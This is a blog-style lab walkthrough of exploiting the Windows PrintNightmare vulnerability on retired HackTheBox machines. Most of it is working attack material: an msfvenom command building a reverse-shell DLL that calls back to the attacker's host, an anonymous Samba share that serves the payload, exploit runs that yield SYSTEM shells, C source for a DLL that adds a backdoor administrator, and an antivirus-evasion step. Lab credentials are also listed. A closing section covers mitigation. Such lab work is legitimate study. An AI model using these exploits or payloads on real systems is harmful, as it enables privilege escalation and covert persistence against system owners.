A lot of InfoSec pros I follow on Twitter have been tweeting about a remote code execution vulnerability in the Windows Print Spooler service that could be used for privilege escalation and furthermore, it affects all the Windows versions. Microsoft has assigned CVE-2021-34527 to the vulnerability, which is now publicly known as PrintNightmare. This vulnerability was accidentally disclosed by security researchers from China, Zhiniang Peng and Xuefeng Li, after Microsoft released a security patch on June 8, 2021 for CVE-2021-1675, which is also a remote code execution in the Print Spooler service. The researchers thought their finding was CVE-2021-1675, but it turned out to be different.

I’m neither an expert nor an infosec pro, so I won’t dive into any technical thing about the vulnerability. In this post, I’ll just play around with the PoC to own HackTheBox retired machines.

Preparation

There are several PoC exploits out there for PrintNightmare, but I will use the one that created by Cube0x0. To use the exploit, I will have to change my impacket version to the one that has been modified by Cube0x0. But, changing the currently installed Impacket could potentially mess up my Kali. Therefore, I will use a Python virtual environment using virtualenv module. If I don’t have it, I can run the following command to install the module.

$ python3 -m pip install virtualenv

The exploit also requires a DLL for later to be loaded on the target machines. This DLL will be hosted on a Samba server, and it should be configured to allow anonymous access, so that the exploit can directly grab the DLL.

Working Directory

First thing first, is a working directory/folder, which I will create one under /opt called printnightmare.

→ kali@kali «opt» «10.10.14.75» 
$ mkdir printnightmare && cd printnightmare

Inside the printnightmare, I will clone the cube0x0 impacket as well as the exploit (CVE-2021-1675-cube0x0).

→ kali@kali «printnightmare» «10.10.14.75» 
$ git clone https://github.com/cube0x0/impacket && git clone https://github.com/cube0x0/CVE-2021-1675.git CVE-2021-1675-cube0x0

Next, I will create a virtual environment called impacket-venv using virtualenv.

→ kali@kali «printnightmare» «10.10.14.75» 
$ virtualenv impacket-venv
created virtual environment CPython3.9.2.final.0-64 in 614ms
  creator CPython3Posix(dest=/opt/printnightmare/impacket-venv, clear=False, no_vcs_ignore=False, global=False)
  seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=/home/kali/.local/share/virtualenv)
    added seed packages: pip==21.1.3, setuptools==57.1.0, wheel==0.36.2
  activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator,XonshActivator

Then, I will activate the virtual environment with the following commands.

→ kali@kali «printnightmare» «10.10.14.75» 
$ source impacket-venv/bin/activate

Now I can just install the cube0x0 impacket.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ cd impacket && python3 setup.py install
running install
running bdist_egg
running egg_info
...[SNIP]...

DLL Payload

Before generating a DLL, I will create a dll folder first under the printnightmare folder.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ mkdir dll

I will be using msfvenom to generate the DLL . Upon a successful exploitation, this DLL will connect back to my attacking machine on port 4444, in short, it’s a reverse shell.

(impacket-venv) → kali@kali «dll» «10.10.14.75» 
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.75 LPORT=4444 -f dll > revshell.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

If you want to compile your own, go here or see Troubleshoot

Samba Server Configuration

In the exploit repo, cube0x0 also provides a guide on how to configure a Samba server for hosting the DLL payload. I will follow cube0x0’s guide, but I will add some additional lines for logging.

First, I will create a backup of the original Samba configuration file.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ sudo cp /etc/samba/smb.conf{,.bak}

Then I will replace the entire smb.conf contents with the following:

[global]
   server role = standalone server
   smb ports = 445
   map to guest = bad user
   usershare allow guests = yes
   idmap config * : backend = tdb
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   
[ef]
    comment = Samba
    path = /opt/printnightmare/dll
    guest ok = yes
    read only = no
    browsable = yes

Lastly, I will start the Samba service.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ sudo systemctl start smbd 

Target Machines

As stated previously, I will be using HackTheBox retired machines as the targets. Here are the retired Windows machines that I will use along with their low privilege users.

Target IP Low Priv Credentials [username:password]
Active 10.10.10.100 svc_tgs:GPPstillStandingStrong2k18
Bastion 10.10.10.134 l4mpje:bureaulampje
Heist 10.10.10.149 hazard:stealth1agent
Forest 10.10.10.161 svc-alfresco:s3rvice
Atom 10.10.10.237 jason:kidvscat_electron_@123

Target Scanning

According to this blog post by Splunk Threat Researcher Team, there are three prerequisites for successful exploitation of PrintNightmare:

  1. Print Spooler Service enabled on the target system ❔
  2. Network connectivity to the target system (initial access has been obtained) ✔
  3. Hash or password for a low privileged user (or computer) account ✔

Now to check if the Print Spooler service enabled, I could follow cube0x0’s instruction by using a tool from impacket called rpcdump.py.

$ rpcdump.py @[IP-ADDRESS] | egrep 'MS-RPRN|MS-PAR'

rpcclient can also be used to detect the availability of Print Spooler service by invoking enumprinters command. If the returned output is “Could not initialise spoolss”, then the Print Spooler is most likely to be disabled.

The following is a dirty bash script I created as a wrapper for checking via rpcdump.py and rpcclient in one run.

#!/bin/sh

targets=$1

if [ -z "$targets" ]; then
  echo "[-] Usage\t: $0 [Target file]" 
  echo "[-] File format : <ip>:<username>:<password> | 127.0.0.1:foo:bar"
  else
	for target in `cat $targets`; do
		 ip=$(echo $target | cut -d ':' -f1)
		 username=$(echo $target | cut -d ':' -f2)
		 password=$(echo $target | cut -d ':' -f3)
		 echo  " - [$ip] - " 
		 impacket-rpcdump $ip | egrep 'MS-RPRN|MS-PAR'
		 rpcclient -U "$username%$password" $ip -c "enumprinters;quit"
	done
fi

I saved the script as detect-nightmare.sh . I ran the script and it returned the following results.

→ kali@kali «printnightmare» «10.10.14.75» 
$ ./detect-nightmare.sh target-machines
 - [10.10.10.100] - 
Protocol: [MS-RPRN]: Print System Remote Protocol 
Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND
 - [10.10.10.134] - 
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 
No printers returned.
 - [10.10.10.149] - 
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 
No printers returned.
 - [10.10.10.161] - 
Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND
 - [10.10.10.237] - 
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 
No printers returned.

Based on the results above, Active and Forest don’t seem to be vulnerable, but I will still test them out!

Exploitation Demo

[10.10.10.100] Active

As expected, on Active the exploit is failed.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18'@10.10.10.100 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.100[\PIPE\spoolss]
[-] Connection Failed

[10.10.10.134] Bastion

I ran the exploit against Bastion, and it connected but then the DLL got removed by AV 😂. I will re-exploit this in the Troubleshoot section

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py Bastion/l4mpje:'bureaulampje'@10.10.10.134 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.134[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_1734185bdb8f8610\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
Traceback (most recent call last):
...[SNIP]...
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0xe1 - ERROR_VIRUS_INFECTED - Operation did not complete successfully because the file contains a virus or potentially unwanted software

[10.10.10.134] Heist

On Heist, the exploit didn’t show any indication of a successful exploitation (I will look into this problem at Troubleshoot).

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py heist/hazard:'stealth1agent'@10.10.10.149 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.149[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
...[SNIP]...
impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)

But strangely, I got a shell on my listener.

→ kali@kali «printnightmare» «10.10.14.75» 
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.149] 49700
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
SupportDesk

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::c138:bcba:454d:8b9c
   Link-local IPv6 Address . . . . . : fe80::c138:bcba:454d:8b9c%15
   IPv4 Address. . . . . . . . . . . : 10.10.10.149
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%15
                                       10.10.10.2

[10.10.10.161] Forest

Like on Active, the exploit also failed on Forest

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py htb.local/svc-alfresco:'s3rvice'@10.10.10.161 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.161[\PIPE\spoolss]
[-] Connection Failed

[10.10.10.237] Atom

On Atom, the exploit returned the same result as on Heist, no indication of a successful exploitation.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py ATOM/jason:'kidvscat_electron_@123'@10.10.10.237 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.237[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
...[SNIP]...
impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)

But then the DLL connected to my listener.

→ kali@kali «printnightmare» «10.10.14.75» 
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.237] 62322
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>hostname
hostname
ATOM

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::6036:234d:b46e:b7d
   Temporary IPv6 Address. . . . . . : dead:beef::6193:2da2:279d:6fea
   Temporary IPv6 Address. . . . . . : dead:beef::94cf:8412:6dc6:a8ed
   Link-local IPv6 Address . . . . . : fe80::6036:234d:b46e:b7d%6
   IPv4 Address. . . . . . . . . . . : 10.10.10.237
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%6
                                       10.10.10.2

Troubleshoot

STATUS_PIPE_CLOSING

I’m sure that the following error is caused by my DLL payload.

impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)

This is probably because, instead of using the DLL to create a user (one time load / execution / thread / I don’t know~), I use the DLL for reverse shell.

I wanted to generate my own payload to test but my Visual Studio somehow didn’t want me to install the Windows SDK (Fixed on this post).

Because I don’t want to RE the DLL created with msfvenom, I steal this payload from this PoC created by Caleb Stewart and John Hammond.

I can simply invoke Get-NightmareDLL within a PowerShell session to generate the DLL.

PS /opt/PrintNightmare/dll> Import-Module ./generate-nightmaredll.ps1
PS /opt/PrintNightmare/dll> Get-NightmareDLL
[+] Created payload at /opt/printnightmare/dll/nightmare.dll

I ran the exploit again on Atom, but this time it didn’t crash, instead it showed the indication of a successful exploitation.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) ✗ 
$ python3 CVE-2021-1675.py ATOM/jason:'kidvscat_electron_@123'@10.10.10.237 '\\10.10.14.75\ef\nightmare.dll'
[*] Connecting to ncacn_np:10.10.10.237[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\nightmare.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Stage2: 0
[+] Exploit Completed

Now I can login with credentials of adm1n:P@ssw0rd (default credentials from the stolen DLL) using evil-winrm.

→ kali@kali «dll» «10.10.14.75» 
$ evil-winrm -i 10.10.10.237 -u 'adm1n' -p 'P@ssw0rd'                                                       

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\adm1n\Documents> whoami /groups | select-string "Administrators"

NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner


*Evil-WinRM* PS C:\Users\adm1n\Documents> hostname
ATOM

AV Evasion

Another issue I ran into during the demo was that the payload got removed by Microsoft Defender on Bastion. Using a self compile DLL payload from BookHackTrick DLL templates can resolve this (I should do this earlier 😅🔨).

The following is the template that I use.

// stolen from https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking#your-own
// compile: x86_64-w64-mingw32-gcc add_user_1.c -shared -o add_user.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
    system("cmd.exe /c net user iamf <password> /add");
    system("cmd.exe /c net localgroup administrators iamf /add");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

The code can be compiled from Linux using mingw-w64 compiler (sudo apt install mingw-w64). I will run the following command to compile the DLL.

$ x86_64-w64-mingw32-gcc add_user_1.c -shared -o add_user.dll

On Bastion, although the exploit successfully evade the AV and the backdoor user was added into the machine, I’m unable to login via WinRM. However, impacket-psexec will do.

image-20210730191657750

Further investigation, I found out that Invoke-Command from localhost is allowed.

image-20210730192152601

So, I guess the WinRM on Bastion was configured to only allow admin account for remote access. I couldn’t get the “right” keywords to google this. Below are what I’ve tried so far:

$ winrm get winrm/config
$ winrm get winrm/config/listener
$ (Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
$ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
$ reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Mitigation

Microsoft provided two options as workarounds to mitigate PrintNightmare:

  • Disable Print Spooler service
  • Disable inbound remote printing through Group Policy.

Also, it is recommended to install KB5005010 patch. I have no idea to work with the second option from CLI, so I will demo the first one.

Disable Print Spooler Service

Based on Microsoft guidance, I need to determine if the Print Spooler Service is running by using Get-Service -Name Spooler in PowerShell. If the service is running, stop and disable it by running the following commands in PowerShell consecutively.

$ Stop-Service -Name Spooler -Force
$ Set-Service -Name Spooler -StartupType Disabled

I will run that on Bastion.

*Evil-WinRM* PS C:\> Get-Service -Name Spooler 

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler


*Evil-WinRM* PS C:\> Stop-Service -Name Spooler -Force
*Evil-WinRM* PS C:\> Set-Service -Name Spooler -StartupType Disabled

After disabling Spooler service, I ran the exploit again, but this time, it returned a “Connection Failed” message.

image-20210717133929589

The workaround is worked! But, the downside is that you loss the ability to print from both local and remote 🙃.

For more detailed mitigation, you can go to this GitHub repo.

References